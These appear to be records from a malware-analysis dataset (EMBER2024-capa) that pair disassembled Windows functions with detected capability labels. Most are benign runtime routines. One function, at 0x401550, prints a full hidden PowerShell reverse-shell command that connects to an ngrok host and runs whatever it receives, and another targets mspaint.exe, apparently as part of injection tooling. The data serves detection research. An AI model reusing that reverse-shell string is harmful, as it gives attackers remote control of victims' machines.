joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4d3e20
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r9, qword [0x00557100]
xor edx, edx
mov r8, rcx
cmp word [r9], 0x5a4d
je 0x4d3e40
mov rax, rdx
add rsp, 0x28
ret
mov rcx, r9
call fcn.004d3d00
test eax, eax
je 0x4d3e38
movsxd rax, dword [r9 + 0x3c]
mov rcx, r8
sub rcx, r9
add rax, r9
movzx edx, word [rax + 0x14]
lea rdx, [rax + rdx + 0x18]
movzx eax, word [rax + 6]
test eax, eax
je 0x4d3e9d
sub eax, 1
lea rax, [rax + rax*4]
lea r9, [rdx + rax*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rdx + 0xc]
cmp rcx, r8
mov rax, r8
jb 0x4d3e94
add eax, dword [rdx + 8]
cmp rcx, rax
jb 0x4d3e38
add rdx, 0x28
cmp rdx, r9
jne 0x4d3e80
xor edx, edx
mov rax, rdx
add rsp, 0x28
ret

Function at 0x4d4240
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x138
mov rbx, rcx
call sub.msvcrt.dll__errno
test rbx, rbx
mov dword [rax], 0
je 0x4d43cc
cmp byte [rbx], 0
je 0x4d4394
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x4d43b0
test al, 0x10
je 0x4d4394
lea rdi, [rsp + 0x20]
mov r8d, 0x104
mov rdx, rbx
mov rcx, rdi
mov rsi, rdi
call sub.msvcrt.dll__fullpath
mov edx, dword [rsi]
add rsi, 4
lea eax, [rdx - 0x1010101]
not edx
and eax, edx
and eax, 0x80808080
je 0x4d429e
mov edx, eax
shr edx, 0x10
test eax, 0x8080
cmove eax, edx
lea rdx, [rsi + 2]
mov ecx, eax
cmove rsi, rdx
add cl, al
sbb rsi, 3
sub rsi, rdi
lea rcx, [rsi + 0x24b]
call sub.msvcrt.dll_malloc
test rax, rax
mov rbx, rax
je 0x4d43bf
lea r9, [rax + 0x244]
lea rbp, [rsi + 1]
mov rdx, rdi
mov rcx, r9
mov r8, rbp
call sub.msvcrt.dll_memcpy
cmp byte [rbx + 0x244], 0
mov r9, rax
je 0x4d4330
movzx eax, byte [rbx + rsi + 0x243]
cmp al, 0x2f
je 0x4d4330
cmp al, 0x5c
je 0x4d4330
mov r8d, 0x5c
mov word [r9 + rsi], r8w
mov rsi, rbp
mov eax, 0x2a
xor edx, edx
xor ecx, ecx
mov word [r9 + rsi], ax
mov word [rbx + 0x12c], dx
lea rdx, [rbx + 0x130]
mov word [rbx + 0x12e], cx
xor eax, eax
mov ecx, 0x20
mov rdi, rdx
mov qword [rbx + 0x238], 0xffffffffffffffff
mov dword [rbx + 0x240], 0
mov dword [rbx + 0x128], 0
rep stosq qword [rdi], rax
mov dword [rdi], 0
mov rax, rbx
add rsp, 0x138
pop rbx
pop rsi
pop rdi
pop rbp
ret
xor ebx, ebx
call sub.msvcrt.dll__errno
mov dword [rax], 0x14
mov rax, rbx
add rsp, 0x138
pop rbx
pop rsi
pop rdi
pop rbp
ret
call sub.msvcrt.dll__errno
xor ebx, ebx
mov dword [rax], 2
jmp 0x4d4385
call sub.msvcrt.dll__errno
mov dword [rax], 0xc
jmp 0x4d4385
call sub.msvcrt.dll__errno
mov dword [rax], 0xe
jmp 0x4d4385
Function at 0x2fc4d8a50
Capabilities:
Write file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x38
lea rbp, [rsp + 0x30]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov qword [rbp + 0x30], r8
mov qword [rbp + 0x38], r9
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov r9, rax
mov r8d, 0x1b
mov edx, 1
lea rax, str.Mingw_w64_runtime_failure:_n
mov rcx, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov rbx, qword [rbp - 8]
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov rcx, rax
mov rax, qword [rbp + 0x20]
mov r8, rbx
mov rdx, rax
call fcn.2fc4d9b30
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
nop

Function at 0x2fc4d9452
Capabilities:
Get thread local storage value

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov eax, dword [0x2fc4fb108]
test eax, eax
je 0x2fc4d94ea
lea rax, [0x2fc4fb0e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
call rax
mov rax, qword [0x2fc4fb110]
mov qword [rbp - 8], rax
jmp 0x2fc4d94ce
mov rax, qword [rbp - 8]
mov eax, dword [rax]
mov ecx, eax
mov rax, qword [sym.imp.KERNEL32.dll_TlsGetValue]
call rax
mov qword [rbp - 0x10], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetLastError]
call rax
test eax, eax
jne 0x2fc4d94c2
cmp qword [rbp - 0x10], 0
je 0x2fc4d94c2
mov rax, qword [rbp - 8]
mov rdx, qword [rax + 8]
mov rax, qword [rbp - 0x10]
mov rcx, rax
call rdx
mov rax, qword [rbp - 8]
mov rax, qword [rax + 0x10]
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0
jne 0x2fc4d9488
lea rax, [0x2fc4fb0e0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call rax
jmp 0x2fc4d94eb
nop
add rsp, 0x30
pop rbp
ret

Function at 0x2fc4d95f0
Capabilities:
Parse pe header

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
movzx eax, word [rax]
cmp ax, 0x5a4d
je 0x2fc4d9618
mov eax, 0
jmp 0x2fc4d9666
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp - 8]
add rax, rdx
mov qword [rbp - 0x10], rax
mov rax, qword [rbp - 0x10]
mov eax, dword [rax]
cmp eax, 0x4550
je 0x2fc4d9641
mov eax, 0
jmp 0x2fc4d9666
mov rax, qword [rbp - 0x10]
add rax, 0x18
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
movzx eax, word [rax]
cmp ax, 0x20b
je 0x2fc4d9661
mov eax, 0
jmp 0x2fc4d9666
mov eax, 1
add rsp, 0x20
pop rbp
ret
Function at 0x2fc4d966c
Capabilities:
Enumerate pe sections

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x20
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rax, qword [rbp + 0x10]
mov eax, dword [rax + 0x3c]
movsxd rdx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov qword [rbp - 0x18], rax
mov dword [rbp - 0xc], 0
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 0x14]
movzx edx, ax
mov rax, qword [rbp - 0x18]
add rax, rdx
add rax, 0x18
mov qword [rbp - 8], rax
jmp 0x2fc4d96ea
mov rax, qword [rbp - 8]
mov eax, dword [rax + 0xc]
mov eax, eax
cmp qword [rbp + 0x18], rax
jb 0x2fc4d96e1
mov rax, qword [rbp - 8]
mov edx, dword [rax + 0xc]
mov rax, qword [rbp - 8]
mov eax, dword [rax + 8]
add eax, edx
mov eax, eax
cmp qword [rbp + 0x18], rax
jae 0x2fc4d96e1
mov rax, qword [rbp - 8]
jmp 0x2fc4d96ff
add dword [rbp - 0xc], 1
add qword [rbp - 8], 0x28
mov rax, qword [rbp - 0x18]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0xc], eax
jb 0x2fc4d96b4
mov eax, 0
add rsp, 0x20
pop rbp
ret
Function at 0x14000df70
Capabilities:
Create thread

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
push rsi
push rdi
push r14
sub rsp, 0x70
mov rax, qword [0x14001b080]
xor rax, rsp
mov qword [rsp + 0x60], rax
xor r14d, r14d
mov rbp, r9
mov edi, r8d
mov esi, edx
mov rbx, rcx
cmp qword [rcx + 0x6b0], r14
je 0x14000dfb4
call fcn.14000d0f0
mov qword [rbx + 0x6b0], r14
mov dword [rbx + 8], esi
mov dword [rbx + 0xc], edi
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
movzx edi, byte [rsp + 0xb0]
test rax, rax
mov qword [0x14001b438], rax
setne al
mov byte [rbx + 0x88], al
test al, al
jne 0x14000e044
test dil, dil
je 0x14000e044
call qword [sym.imp.KERNEL32.dll_AllocConsole]
mov ecx, 1
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov r9, rax
lea rcx, [rbx + 0x6a0]
lea r8, [0x1400155d0]
lea rdx, str.CONOUT_
call sub.api_ms_win_crt_stdio_l1_1_0.dll__wfreopen_s
xor ecx, ecx
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov r9, rax
lea rcx, [rbx + 0x6a8]
lea r8, [0x1400155e8]
lea rdx, str.CONIN_
call sub.api_ms_win_crt_stdio_l1_1_0.dll__wfreopen_s
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov qword [0x14001b438], rax
jmp 0x14000e04b
mov rax, qword [0x14001b438]
test rax, rax
je 0x14000e064
mov edx, 1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
mov rax, qword [0x14001b438]
cmp byte [rbx + 0x88], r14b
je 0x14000e09e
test dil, dil
jne 0x14000e09e
lea rdx, [rsp + 0x50]
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowRect]
mov eax, dword [rsp + 0x50]
test eax, eax
cmovs eax, r14d
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x54]
test eax, eax
cmovs eax, r14d
mov dword [rsp + 0x34], eax
jmp 0x14000e0a7
mov qword [rsp + 0x30], 0xffffffffffffffff
movzx eax, byte [rsp + 0xb8]
lea r9, [rsp + 0x30]
mov byte [rsp + 0x38], al
lea r8, [0x14000e3c0]
movzx eax, byte [rsp + 0xc0]
xor edx, edx
mov byte [rsp + 0x39], al
xor ecx, ecx
movzx eax, byte [rsp + 0xc8]
mov byte [rsp + 0x3a], al
lea rax, [rsp + 0x48]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], r14d
mov qword [rsp + 0x40], rbp
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbx + 0x90]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea rcx, [0x14001b468]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rcx, qword [rbx + 0x6b0]
call qword [sym.imp.USER32.dll_GetDC]
mov r8d, dword [rbx + 0xc]
mov rcx, rbx
mov edx, dword [rbx + 8]
mov qword [rbx + 0x6b8], rax
call fcn.14000d8f0
lea rcx, [0x14001b468]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
xor ecx, ecx
call fcn.14000d050
mov rax, qword [rbx + 0x6b0]
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.140013030
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x28]
mov rbp, qword [r11 + 0x30]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
Function at 0x140012070
Capabilities:
Hide graphical window

Disassembly:
mov rcx, qword [0x14001b4a0]
jmp fcn.14000dd70

Function at 0x140012c20
Capabilities:
Link many functions at runtime

Disassembly:
sub rsp, 0x48
lea rcx, str.gdiplus.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rcx, rax
mov qword [0x14001b6a8], rax
lea rdx, str.GdiplusStartup
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x14001b6a8]
lea rdx, str.GdiplusShutdown
mov qword [0x14001b640], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x14001b6a8]
lea rdx, str.GdipLoadImageFromStream
mov qword [0x14001b648], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x14001b6a8]
lea rdx, str.GdipGetImageWidth
mov qword [0x14001b650], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x14001b6a8]
lea rdx, str.GdipGetImageHeight
mov qword [0x14001b658], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x14001b6a8]
lea rdx, str.GdipCreateFromHDC
mov qword [0x14001b660], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x14001b6a8]
lea rdx, str.GdipDrawImageRectI
mov qword [0x14001b668], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x14001b6a8]
lea rdx, str.GdipDisposeImage
mov qword [0x14001b670], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x14001b6a8]
lea rdx, str.GdipDeleteGraphics
mov qword [0x14001b678], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x14001b6a8]
lea rdx, str.GdipGetImageEncodersSize
mov qword [0x14001b680], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x14001b6a8]
lea rdx, str.GdipGetImageEncoders
mov qword [0x14001b688], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x14001b6a8]
lea rdx, str.GdipCreateBitmapFromGdiDib
mov qword [0x14001b690], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x14001b6a8]
lea rdx, str.GdipSaveImageToFile
mov qword [0x14001b698], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor r8d, r8d
mov dword [rsp + 0x20], 1
mov qword [0x14001b6a0], rax
lea rdx, [rsp + 0x20]
xor eax, eax
lea rcx, [0x14001b6b0]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x30], rax
call qword [0x14001b640]
add rsp, 0x48
ret
Function at 0x140012f10
Capabilities:
Get file size
Read file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
push rdi
sub rsp, 0x40
mov rbx, rcx
mov rdi, rdx
mov rcx, qword [rcx + 8]
test rcx, rcx
je 0x140012f37
call qword [sym.imp.KERNEL32.dll_GlobalFree]
mov qword [rbx + 8], 0
xor r9d, r9d
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov edx, 0x80000000
mov rcx, rdi
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 1]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x140012f7b
xor al, al
mov rbx, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov edx, eax
mov ecx, 2
mov dword [rbx + 0x10], edx
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov rcx, rax
mov qword [rbx + 8], rax
call qword [sym.imp.KERNEL32.dll_GlobalLock]
mov r8d, dword [rbx + 0x10]
lea r9, [rsp + 0x50]
mov rdx, rax
mov qword [rsp + 0x20], 0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov rcx, qword [rbx + 8]
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x58]
mov al, 1
add rsp, 0x40
pop rdi
ret

Function at 0x140013aac
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140013af6
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140013af6
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140013af6
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140013af6
cmp dword [rcx + 0x84], 0xe
jbe 0x140013af6
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140013af8
xor al, al
add rsp, 0x28
ret
Function at 0x1400022e0
Capabilities:
Enumerate process modules

Disassembly:
push rbx
push rbp
push r14
sub rsp, 0x250
mov rax, qword [0x14003f020]
xor rax, rsp
mov qword [rsp + 0x240], rax
lea r9, [rsp + 0x20]
xor r8d, r8d
xor edx, edx
mov rbp, rcx
xor r14d, r14d
call qword [sym.imp.KERNEL32.dll_K32EnumProcessModules]
test eax, eax
jne 0x14000234c
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.____Failed_to_get_buffer_size_for_EnumProcessModules:
mov ebx, eax
lea rcx, [0x140040570]
call fcn.140004ea0
mov rcx, rax
mov edx, ebx
call fcn.140002850
mov rcx, rax
call fcn.140005170
xor eax, eax
jmp 0x1400024ce
mov ecx, dword [rsp + 0x20]
mov qword [rsp + 0x280], rdi
call fcn.1400106e0
mov rdi, rax
test rax, rax
je 0x1400023dd
mov ebx, dword [rsp + 0x20]
xor edx, edx
mov r8d, ebx
mov rcx, rax
call fcn.14000ad40
lea r9, [rsp + 0x20]
mov r8d, ebx
mov rdx, rdi
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_K32EnumProcessModules]
test eax, eax
jne 0x1400023e4
mov r8d, dword [rsp + 0x20]
lea r9, [rsp + 0x20]
mov rdx, rdi
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_K32EnumProcessModules]
test eax, eax
jne 0x1400023e4
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.____Failed_to_EnumProcessModules:
mov ebx, eax
lea rcx, [0x140040570]
call fcn.140004ea0
mov rcx, rax
mov edx, ebx
call fcn.140002850
mov rcx, rax
call fcn.140005170
mov rcx, rdi
call fcn.140010328
xor eax, eax
jmp 0x1400024c6
mov eax, dword [rsp + 0x20]
and rax, 0xfffffffffffffff8
mov qword [rsp + 0x278], rsi
add rax, rdi
mov rsi, rdi
cmp rdi, rax
jae 0x1400024b3
nop dword [rax]
nop word [rax + rax]
mov rbx, qword [rsi]
lea rcx, [rsp + 0x30]
xor edx, edx
mov r8d, 0x104
call fcn.14000ad40
mov r9d, 0x102
lea r8, [rsp + 0x30]
mov rdx, rbx
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_K32GetModuleFileNameExW]
test eax, eax
jne 0x14000246f
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rdx, str.____Failed_to_get_module_name:
mov ebx, eax
lea rcx, [0x140040570]
call fcn.140004ea0
mov rcx, rax
mov edx, ebx
call fcn.140002850
mov rcx, rax
call fcn.140005170
jmp 0x140002486
lea rdx, str.Kernel32.dll
lea rcx, [rsp + 0x30]
call qword [sym.imp.SHLWAPI.dll_StrStrIW]
test rax, rax
jne 0x1400024a0
mov eax, dword [rsp + 0x20]
add rsi, 8
and rax, 0xfffffffffffffff8
add rax, rdi
cmp rsi, rax
jb 0x140002410
jmp 0x1400024b3
lea rdx, [0x1400396d8]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r14, rax
mov rcx, rdi
call fcn.140010328
mov rsi, qword [rsp + 0x278]
mov rax, r14
mov rdi, qword [rsp + 0x280]
mov rcx, qword [rsp + 0x240]
xor rcx, rsp
call fcn.140008790
add rsp, 0x250
pop r14
pop rbp
pop rbx
ret
Function at 0x1400024f0
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x480
mov rax, qword [0x14003f020]
xor rax, rsp
mov qword [rsp + 0x470], rax
movups xmm0, xmmword [str.mspaint.exe]
lea rcx, [rsp + 0x38]
xor edx, edx
movsd xmm1, qword [0x140039988]
mov r8d, 0x1f0
movaps xmmword [rsp + 0x20], xmm0
movsd qword [rsp + 0x30], xmm1
call fcn.14000ad40
xor edi, edi
xor edx, edx
lea ecx, [rdi + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
xor edx, edx
lea rcx, [rsp + 0x234]
mov r8d, 0x234
mov rbx, rax
call fcn.14000ad40
lea rdx, [rsp + 0x230]
mov dword [rsp + 0x230], 0x238
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x1400025c6
lea rax, [rsp + 0x25c]
lea r8, [rsp + 0x20]
sub r8, rax
movzx edx, word [rax]
movzx ecx, word [rax + r8]
sub edx, ecx
jne 0x1400025a4
add rax, 2
test ecx, ecx
jne 0x140002590
test edx, edx
je 0x1400025bf
lea rdx, [rsp + 0x230]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140002580
jmp 0x1400025c6
mov edi, dword [rsp + 0x238]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
jne 0x1400025f3
lea rdx, str.____Target_process_could_not_be_found__
lea rcx, [0x140040570]
call fcn.140004ea0
mov rcx, rax
call fcn.140005170
lea eax, [rdi - 1]
jmp 0x140002621
lea rdx, str.___Pid_of_target_process_is:
lea rcx, [0x1400403d0]
call fcn.140004ea0
mov rcx, rax
mov edx, edi
call fcn.140002850
mov rcx, rax
call fcn.140005170
mov ecx, edi
call fcn.140001fa0
xor eax, eax
mov rcx, qword [rsp + 0x470]
xor rcx, rsp
call fcn.140008790
mov rbx, qword [rsp + 0x490]
add rsp, 0x480
pop rdi
ret

Function at 0x14001673c
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140016568
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x00404700]
xor edx, edx
mov dword [rax], 1
mov rax, qword [0x00404710]
mov dword [rax], 1
mov rax, qword [0x00404720]
mov dword [rax], 1
mov rax, qword [0x004046f0]
mov dword [rax], 1
mov rax, qword [0x004045e0]
cmp word [rax], 0x5a4d
je 0x4010b0
mov rax, qword [0x004046e0]
mov dword [0x00407008], edx
mov eax, dword [rax]
test eax, eax
je 0x4010a0
mov ecx, 2
call sym.__set_app_type
call sym.__p__fmode
mov rdx, qword [0x004046a0]
mov edx, dword [rdx]
mov dword [rax], edx
call sym._setargv
mov rax, qword [0x00404590]
cmp dword [rax], 1
je 0x4010f0
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x401075
movsxd rcx, dword [rax + 0x3c]
add rax, rcx
cmp dword [rax], 0x4550
jne 0x401058
movzx ecx, word [rax + 0x18]
cmp cx, 0x10b
je 0x401103
cmp cx, 0x20b
jne 0x401058
cmp dword [rax + 0x84], 0xe
jbe 0x401058
mov ecx, dword [rax + 0xf8]
xor edx, edx
test ecx, ecx
setne dl
jmp 0x401058
lea rcx, [sym._matherr]
call sym.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x401058
mov r8d, dword [rax + 0xe8]
xor edx, edx
test r8d, r8d
setne dl
jmp 0x401058

Function at 0x401550
Capabilities:
Execute command
Run powershell expression

Disassembly:
push rbp
sub rsp, 0x2d0
lea rbp, [rsp + 0x80]
call sym.__main
lea rax, [rbp - 0x60]
lea rdx, str.powershell__nop__W_hidden__noni__ep_bypass__c___TCPClient__New_Object_Net.Sockets.TCPClient_0.tcp.eu.ngrok.io__17598___NetworkStream___TCPClient.GetStream____StreamWriter__New_Object_IO.StreamWriter__NetworkStream__function_WriteToStream___String___byte____script:Buffer__0.._TCPClient.ReceiveBufferSize____0__StreamWriter.Write__String__SHELL_____StreamWriter.Flush__WriteToStream__while___BytesRead___NetworkStream.Read__Buffer__0___Buffer.Length____gt_0___Command____text.encoding_::UTF8_.GetString__Buffer__0___BytesRead___1___Output__try_Invoke_Expression__Command_2_1__Out_String_catch_____Out_StringWriteToStream___Output__StreamWriter.Close___
mov ecx, 0x2a8
mov r8, rcx
mov rcx, rax
call sym.memcpy
lea rax, [rbp - 0x60]
mov rcx, rax
call sym.system
mov eax, 0
add rsp, 0x2d0
pop rbp
ret
Function at 0x401b40
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x00407624]
test esi, esi
mov rbx, rcx
mov rbp, rdx
mov rdi, r8
jle 0x401cc8
mov rax, qword [0x00407628]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp rbx, rdx
jb 0x401b8c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp rbx, rdx
jb 0x401c15
add ecx, 1
add rax, 0x28
cmp ecx, esi
jne 0x401b70
mov rcx, rbx
call sym.__mingw_GetSectionForAddress
test rax, rax
mov r12, rax
je 0x401cfd
mov rax, qword [0x00407628]
lea rsi, [rsi + rsi*4]
shl rsi, 3
add rax, rsi
mov qword [rax + 0x20], r12
mov dword [rax], 0
call sym._GetPEImageBase
mov ecx, dword [r12 + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x00407628]
mov qword [rax + rsi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x401ce0
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x401c0e
sub eax, 0x40
and eax, 0xffffffbf
jne 0x401c70
add dword [0x00407624], 1
cmp edi, 8
jae 0x401c43
test dil, 4
jne 0x401cb4
test edi, edi
je 0x401c38
movzx eax, byte [rbp]
test dil, 2
mov byte [rbx], al
jne 0x401ccf
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov eax, edi
sub edi, 1
mov rdx, qword [rbp + rax - 8]
cmp edi, 8
mov qword [rbx + rax - 8], rdx
jb 0x401c38
and edi, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov rcx, qword [rbp + rdx]
cmp eax, edi
mov qword [rbx + rdx], rcx
jb 0x401c5c
jmp 0x401c38
add rsi, qword [0x00407628]
mov r8d, 0x40
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r9, rsi
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x401c0e
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call sym.__report_error
mov eax, dword [rbp]
mov edi, edi
mov dword [rbx], eax
mov eax, dword [rbp + rdi - 4]
mov dword [rbx + rdi - 4], eax
jmp 0x401c38
xor esi, esi
jmp 0x401b97
mov edi, edi
movzx eax, word [rbp + rdi - 2]
mov word [rbx + rdi - 2], ax
jmp 0x401c38
mov rax, qword [0x00407628]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov edx, dword [r12 + 8]
mov r8, qword [rax + rsi + 0x18]
call sym.__report_error
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call sym.__report_error
nop
nop dword [rax]

Function at 0x402450
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x00407900]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x004078e0]
test rbx, rbx
je 0x4024a4
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x40249b
test rsi, rsi
je 0x40249b
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x402480
lea rcx, [0x00407900]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]